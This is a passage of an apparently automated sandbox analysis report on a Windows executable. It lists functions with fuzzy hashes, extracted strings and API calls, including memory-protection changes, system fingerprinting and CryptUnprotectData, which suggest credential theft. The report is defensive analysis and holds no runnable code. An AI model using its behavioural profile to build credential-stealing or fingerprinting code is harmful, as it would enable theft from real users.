%, xrefs: 04E67B98
R, xrefs: 04E66386
(, xrefs: 04E649AA
', xrefs: 04E647C8
=, xrefs: 04E6771E
Y, xrefs: 04E64830
(, xrefs: 04E672EE
T, xrefs: 04E65C76
/UA, xrefs: 04E64C0E
=QB, xrefs: 04E66F5F
R, xrefs: 04E66F53
(, xrefs: 04E6545A

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID: $ $ $ $"$"$"$#$#$#$#$$$%$%$&$&$&$&$'$'$'$'$($($($($($)$)$)$)$)$+$,$,$,$,$,$-$.$.$.$.$/UA$/UA$/UA$/UA$1$1$1$1$2$3$6$8$9$:$;X"B$<$=$=$=$=$=$=$=QB$=QB$=QB$=QB$?$?$?$?$B$B$B$B$Ba3B$Ba3B$Ba3B$Ba3B$C$D$D$D$D$D$E$F$F$F$F$F$F$H$H$H$H$J$J$J$J$K$K$K$K$K$K$K$K$K$K$K$K$K$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$R$R$R$R$S$S$S$S$S$S$S$S$S$T$T$T$T$T$T$U1nB$U1nB$U1nB$U1nB$Y$Y$Y$Y$[$[$[$[$_$`$a$a$a$a$a$c$ga,A$jnXB$jnXB$jnXB$jnXB$ta[B$z.{B$z.{B$z.{B$z.{B$:^B
API String ID: 0-1587016709
Opcode ID: 234dad089fed7906ef83e1a9d10a5c1e13be7da6062da528e3655cb6f885cc71
Instruction ID: 16ff88b48d1362edc298d8252daae38b9ff435fc1fe4ae06392f64da8eb57494
Opcode Fuzzy Hash: 234dad089fed7906ef83e1a9d10a5c1e13be7da6062da528e3655cb6f885cc71
Instruction Fuzzy Hash: E553B0B4D46229CBDB60DF25D944BAAFBB1FB46304F00A1E9D408B3355DB799A85CF08

Function 04E60040 Relevance: 15.1, Strings: 10, Instructions: 2597COMMON

Download Yara Rule

Strings

4|cq, xrefs: 04E62E10
4'^q, xrefs: 04E62CC6
4'^q, xrefs: 04E60E94
4'^q, xrefs: 04E6101C
4'^q, xrefs: 04E61F00
4'^q, xrefs: 04E62C3B
(o^q, xrefs: 04E60116
4'^q, xrefs: 04E62C96
4|cq, xrefs: 04E62E2B
$^q, xrefs: 04E62CE8

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4|cq$4|cq$$^q
API String ID: 0-2723476363
Opcode ID: 57ed075e9e0c03dd2ed94cc5290a42ab9b50e52397294cc7cc71ca317123e21d
Instruction ID: 08e06c6027d66dc15e98998777a3f891e9a4fa923067d7596201280be94dd965
Opcode Fuzzy Hash: 57ed075e9e0c03dd2ed94cc5290a42ab9b50e52397294cc7cc71ca317123e21d
Instruction Fuzzy Hash: 4C43F774A40219CFCB28DF28C998A9DB7B2BF89344F1595D9D50AAB365CB31ED81CF40

Function 0253DB30 Relevance: 1.6, APIs: 1, Instructions: 112
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 0253DC39

Memory Dump Source

Source File: 00000006.00000002.2433567223.0000000002530000.00000040.00000800.00020000.00000000.sdmp, Offset: 02530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2530000_44098beb09.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 29a7b530286262d76ea7f468a936ee5f56ca56a8fb16f64be431b04fba98591e
Instruction ID: 04fd4735a0b128269d448e3d3f0526e30e3d6e7e0f279f84131f802f45121ca0
Opcode Fuzzy Hash: 29a7b530286262d76ea7f468a936ee5f56ca56a8fb16f64be431b04fba98591e
Instruction Fuzzy Hash: 564121B0D11258CFDB10CFA9D884BDDFBF1BB48304F10A12AE805AB284D7B89885CF49

Function 0253DEA8 Relevance: 1.6, APIs: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0253DF4C

Memory Dump Source

Source File: 00000006.00000002.2433567223.0000000002530000.00000040.00000800.00020000.00000000.sdmp, Offset: 02530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2530000_44098beb09.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 15b51e77200139dfbc66167dee51621c2b9b3c2ab39be3eb45c5d5d4577f27b5
Instruction ID: 3161cddb3fdb225b044b559ee26dc59bf197384d41b68dda5f531f3f308bb8c9
Opcode Fuzzy Hash: 15b51e77200139dfbc66167dee51621c2b9b3c2ab39be3eb45c5d5d4577f27b5
Instruction Fuzzy Hash: C43197B4D012589FCF10CFA9D984AEEFBB1BB49310F20942AE815B7214D735A945CF98

Function 0253F0B8 Relevance: 1.3, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 0253F157

Memory Dump Source

Source File: 00000006.00000002.2433567223.0000000002530000.00000040.00000800.00020000.00000000.sdmp, Offset: 02530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2530000_44098beb09.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6b47e756eb1c52a8e6374014f62e9c0d73f4c21e75cb393a5b794663b037e5e2
Instruction ID: 6f1cde172ad5318d678a265661f46547f6f454baafd2b354352b0c6c0d47e0ea
Opcode Fuzzy Hash: 6b47e756eb1c52a8e6374014f62e9c0d73f4c21e75cb393a5b794663b037e5e2
Instruction Fuzzy Hash: 743198B4D002589FCF10CFA9E980ADEFBB1BB49310F20942AE819B7210D735A945CF98

Function 04E63288 Relevance: .3, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51d4a63d8018a9612cbab1666481506aadebb2ba9edcb1a37e94d7e81aaa30e0
Instruction ID: 42851a4f556b105d79631f254dc479b5f6cc5b12605b359335885afa349cb939
Opcode Fuzzy Hash: 51d4a63d8018a9612cbab1666481506aadebb2ba9edcb1a37e94d7e81aaa30e0
Instruction Fuzzy Hash: F2A16F30B80109DFCB14DF68D494AAE7BB2EF88354F145469E912EB3A1DB31EC41CBA1

Function 04E6A07F Relevance: .2, Instructions: 176
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b18c9cb89e95dcc074456825768701d74d499b854a87237b38ee5cec176f8c8
Instruction ID: 9e0b28fd00a83eabee1050d3905c52645e5f0b94a11854bba5c3c391cab4c574
Opcode Fuzzy Hash: 0b18c9cb89e95dcc074456825768701d74d499b854a87237b38ee5cec176f8c8
Instruction Fuzzy Hash: 6FA17F78900218CFEB14DF64D859B9DBBB2FF48304F1085AAE80AA73A5DB315E85CF51

Function 04E67DF8 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 101dc6eaba3defe9042af3bd8b5455fde29c2e3819c6fd33996da4008ce5576f
Instruction ID: ef227aa718172900ffe4219f17bdd7f29bfb81635144bf937b7079a4ce6c5395
Opcode Fuzzy Hash: 101dc6eaba3defe9042af3bd8b5455fde29c2e3819c6fd33996da4008ce5576f
Instruction Fuzzy Hash: D641A274E012098FCB44DFA9D5949DEBBF2BF89310F149069E915A7364DB31A901CF50

Function 024ED01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2433267737.00000000024ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 024ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_24ed000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee15d49d4788486f18d6b278beb9f8c69bf898413e207619e13f042498c4bb0
Instruction ID: 4e37a03adf1c7cf41bb0167872df15a7132455250c6d872d232c1143ec3d0e0c
Opcode Fuzzy Hash: 3ee15d49d4788486f18d6b278beb9f8c69bf898413e207619e13f042498c4bb0
Instruction Fuzzy Hash: 1C210371904240DFEF15DF14D984B27BFA9EB84319F28C56AE90A0B346C336D447CAA2

Function 04E67F17 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bae7fa39bcd41c6bbc5d2a536e39a890891e77b135eadee0cb390fcc33ca041a
Instruction ID: af559b09fe1676b22a85c02b5d1bf4043e6fb078557472ac4aa44968f1e7968b
Opcode Fuzzy Hash: bae7fa39bcd41c6bbc5d2a536e39a890891e77b135eadee0cb390fcc33ca041a
Instruction Fuzzy Hash: 4B31DF75E00219DFDF05CFA8D880AEEBBB2BB48350F10906AE915B7360D7346944DFA0

Function 04E63278 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be47b8802600edd9d6bc8f10237c5d84f9295f65fe0917ea6b6a619c680f87cf
Instruction ID: ad4e675f361472b06572ef03dfba6da974b0345463070ce57dd3b94429cd5fb0
Opcode Fuzzy Hash: be47b8802600edd9d6bc8f10237c5d84f9295f65fe0917ea6b6a619c680f87cf
Instruction Fuzzy Hash: B5213631A002089FCF05DFA4D844ADDBBB2EF89354F145469E902AB360CB31AD51DF60

Function 024ED006 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2433267737.00000000024ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 024ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_24ed000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9a66c03509575ae9beb708b629d3dd3210bd8c10bfa61f10c328e1c73c7f183
Instruction ID: 041ae760dbc8c64844ceed64c59bff851f273dcdc3085c4aa028d83a7e47410f
Opcode Fuzzy Hash: a9a66c03509575ae9beb708b629d3dd3210bd8c10bfa61f10c328e1c73c7f183
Instruction Fuzzy Hash: B42180755093C0CFDB12CF24D994716BF71EB86218F2881DBD8458B657C33A941ACB62

Function 04E67FF4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 123f49a570a521f19fa472129bf62f016b6bc6486251d2ae844fc732b4b6eee3
Instruction ID: 703b7a182b80bb6b7ab3805ba26888aa1d6440cb3dc967eb941153692dac18c4
Opcode Fuzzy Hash: 123f49a570a521f19fa472129bf62f016b6bc6486251d2ae844fc732b4b6eee3
Instruction Fuzzy Hash: F3012475E05208AFCB01CFE8D8808ECBFB1FB09350F00509AE511A6220D231A951EB50

Function 04E6A808 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8f3a2a5ac9d4f92e6bd1e14a4c2bbcf2e582e1a8a00f1cfcde10f831278cd1c
Instruction ID: 9bb0a287cb501bb791c1545a77c58d6f13a72eefef2455126f0c8a83b2a32296
Opcode Fuzzy Hash: c8f3a2a5ac9d4f92e6bd1e14a4c2bbcf2e582e1a8a00f1cfcde10f831278cd1c
Instruction Fuzzy Hash: 65F0DA70E55208DFD740DFB995496ADBBF5AF49244F00D0B59809E3250EB309641CB80

Function 04E6A7F9 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec73ae092398ea08a5a12409aeaa6b83a1640eba408ede6d7f7a9c05132c0fc
Instruction ID: d55e1cfa4f543bc688f87407fad6398b537f9573ff79b1ff41405846b51059fe
Opcode Fuzzy Hash: 9ec73ae092398ea08a5a12409aeaa6b83a1640eba408ede6d7f7a9c05132c0fc
Instruction Fuzzy Hash: D5E09B30D55245DBCB50CBBCD5493F8BFF09B0A354F1092A5D859E2391EB359542DA40

Function 04E6A41B Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2441214837.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4e60000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee3f339a568568a6762f645dcf0497678b4941a1cec61182ab72aee3ea3186d4
Instruction ID: 486dde9eaa04f40f21545425a2bc2c912f27e191a14ac1c3ae90ec352c33175c
Opcode Fuzzy Hash: ee3f339a568568a6762f645dcf0497678b4941a1cec61182ab72aee3ea3186d4
Instruction Fuzzy Hash: F0F0D470D42248CFD754DF28D58AAC9BBF2EB45748F05E0A4E409AB656DB74ADC0CF81

Non-executed Functions

Function 02530BD0 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2433567223.0000000002530000.00000040.00000800.00020000.00000000.sdmp, Offset: 02530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2530000_44098beb09.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041609f3753b90338a4ef020d75716385f103807af9f1ff81edc2a6a22f8b873
Instruction ID: e7052114163207b078411fe3907e228a280da5f898e7efd72bcd393730e586a9
Opcode Fuzzy Hash: 041609f3753b90338a4ef020d75716385f103807af9f1ff81edc2a6a22f8b873
Instruction Fuzzy Hash: 0541F1B0D012588FDB11CFA9D984B9EBFF1BB09304F20A029E815BB254D7749885CF89

Analysis Process: 44098beb09.exePID: 7728, Parent PID: 736COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.6%
Total number of Nodes:	322
Total number of Limit Nodes:	10

Executed Functions

Function 00437DF0 Relevance: 30.4, APIs: 12, Strings: 5, Instructions: 640
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00438034
SysAllocString.OLEAUT32()\"^), ref: 004380C3
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438101
SysAllocString.OLEAUT32()\"^), ref: 0043817E
SysAllocString.OLEAUT32()\"^), ref: 00438238
VariantInit.OLEAUT32(C7C6C5CC), ref: 004382A8
VariantClear.OLEAUT32(?), ref: 004383F9
SysFreeString.OLEAUT32(?), ref: 00438410
SysFreeString.OLEAUT32(?), ref: 0043841D
SysFreeString.OLEAUT32(?), ref: 00438423
SysFreeString.OLEAUT32(00000000), ref: 00438430
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,66966446,00000000,00000000,00000000,00000000), ref: 00438468

Strings

)\"^, xrefs: 004380BE, 004380C2, 0043817D, 00438237, 0043845B
pq, xrefs: 004382E2
.H4J, xrefs: 0043805A
O@, xrefs: 0043806A
P%R, xrefs: 0043804A

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: String$Free$Alloc$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: P%R$)\"^$.H4J$O@$pq
API String ID: 1341229144-1397720406
Opcode ID: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction ID: 8d1c6a9ba2bf63fa8fe487279597ba15b590cfaf954231a8494ef46f424a72d4
Opcode Fuzzy Hash: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction Fuzzy Hash: D022EFB2A483418BD314CF25C880B5BBBE5EFC9704F148A2DF5919B381E779D909CB96

Function 00423860 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Fg)i, xrefs: 00423E56
WE, xrefs: 00423D04
7N1@, xrefs: 00423ED0, 00423EE1
A[, xrefs: 00423D14
OU, xrefs: 00423CFC
{\}, xrefs: 00423E3E
/G$I, xrefs: 00423E16

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID:
String ID: /G$I$7N1@$A[$Fg)i$OU$WE${\}
API String ID: 0-1763234448
Opcode ID: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction ID: 056ee81575811c50f3dd50ebd9ce003cf240713406730f881528123b83eb6744
Opcode Fuzzy Hash: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction Fuzzy Hash: 2AF1CAB56083509FD3108F65E88276BBBF2FBD2345F54892DF0858B390D7B88906CB86

Function 00415799 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 492
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00415BAF

Strings

oA&C, xrefs: 00415CE6
RXA, xrefs: 00415842
NDNK, xrefs: 00415D85
8MNO, xrefs: 00415C36
~, xrefs: 0041596E
X, xrefs: 00415DD2
<I2K, xrefs: 00415C2B

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: 8MNO$<I2K$NDNK$RXA$X$oA&C$~
API String ID: 834300711-3328159043
Opcode ID: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction ID: b39a018424f603aff0b8ca9a117b68807cb953dc34c5f22e55a732b949ac1150
Opcode Fuzzy Hash: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction Fuzzy Hash: 90F125B6608740CFC720CF29D8817EBB7E1AFD5314F194A2EE4D997251EB389845CB86

Function 00408850 Relevance: 7.7, APIs: 5, Instructions: 194
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0040891C
GetCurrentThreadId.KERNEL32 ref: 00408925
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004089DB
GetForegroundWindow.USER32 ref: 00408A33

Part of subcall function 0040C550: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Part of subcall function 0040B390: FreeLibrary.KERNEL32(00408AB8), ref: 0040B396
Part of subcall function 0040B390: FreeLibrary.KERNEL32 ref: 0040B3B7

ExitProcess.KERNEL32 ref: 00408AD1

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction ID: 4e8ceca9db94e69365d2c2d7f1aefafb9de861df3649afd20bfce81a3928f3be
Opcode Fuzzy Hash: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction Fuzzy Hash: 9351A9BBF102180BD71CAEAACD463A675878BC5710F1F813E5985EB7D6EDB88C0142C9

Function 0042DA53 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042DA87
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042DB5D

Strings

0K), xrefs: 0042DF19
4*VP, xrefs: 0042DF24

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: ComputerName
String ID: 0K)$4*VP
API String ID: 3545744682-3626284114
Opcode ID: 7f9184ee53db8657b7211f9213731764c2e24f7097ca2d92dc8b3e88ab6ab3dd
Instruction ID: 79d6e082e0491a4045e5b840a95bb4df230d34c241beba690eb3c8ed7007ce5a
Opcode Fuzzy Hash: 7f9184ee53db8657b7211f9213731764c2e24f7097ca2d92dc8b3e88ab6ab3dd
Instruction Fuzzy Hash: 8FD12730A1C3D08ED7258F3994507ABBFE19FA7314F59896ED4C98B382C7798406CB66

Function 0043C1F0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043E31B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C21E

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00433CDF Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433D17
GetSystemMetrics.USER32 ref: 00433D26

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 5f2d3bb2bc73d9fb24c3e71e22e052d5e824def969419b7e1f909697d2eb3c0f
Instruction ID: cb1e3e37586d9a4509bd606a09fc72fdf1ec5b4aeb0744265bd1e649f6a723a7
Opcode Fuzzy Hash: 5f2d3bb2bc73d9fb24c3e71e22e052d5e824def969419b7e1f909697d2eb3c0f
Instruction Fuzzy Hash: 2211AFF4D142188FDB40EF7CD98569DBBF4AB49304F10442AE498E7360E774A9988F86

Function 0042E4A9 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042E5D8

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d676d3cf378bce22c63fcc0d702ca03e1329d21923194e356a21209e6313a188
Instruction ID: bada183498579cd0d1e1b9560e2ec57dcdd73a114042e6aef25e130bccfe5e33
Opcode Fuzzy Hash: d676d3cf378bce22c63fcc0d702ca03e1329d21923194e356a21209e6313a188
Instruction Fuzzy Hash: C721297251C39089D735CB368810BEBBBE29FD6308F49CCADC4C847242E7794585C79A

Function 00436145 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436165

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction ID: 741c48333e69648009e785c6466c575ff7d71c05fd411e4f0ced63eefbf4b49a
Opcode Fuzzy Hash: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction Fuzzy Hash: 86115B32D052968FDB14CB3C8C502ADBFB15F8A320F1983EDD8A5A33D5D9304E428B51

Function 0043C2C8 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043CCAF

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction ID: 8fb46afbfb550afb85baefcd5c24b2e1a72551ea741637eac68a3138d718cba2
Opcode Fuzzy Hash: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction Fuzzy Hash: 07F04CBAD005408BDB044B75CC821A67BA2DB5F320B18897DD441E3384C63C5807CB5D

Function 0043C180 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000,?,?,0040B2E4,00000000,00000001), ref: 0043C1B2

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction ID: ec0cbf63999808cd9fde2cf832404b9ab0848eb4eaaead86bc709d6aa026588d
Opcode Fuzzy Hash: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction Fuzzy Hash: 59F0E977808211EBD2003F257C01A5736649F8F735F01587AFC0152112D739D422E6AF

Function 0043169A Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004316E1

Memory Dump Source

Source File: 0000000A.00000002.2635842116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_44098beb09.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction ID: 88ab58616cf1dac6cba617d780c76543ffdeb80aa514c7c7d0db7b6f6353d972
Opcode Fuzzy Hash: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction Fuzzy Hash: 0FF09EB8509342CFD394DF64C5A875BBBE0EB89348F01891CE4998B391DBB59548CF82

Function 00430469 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

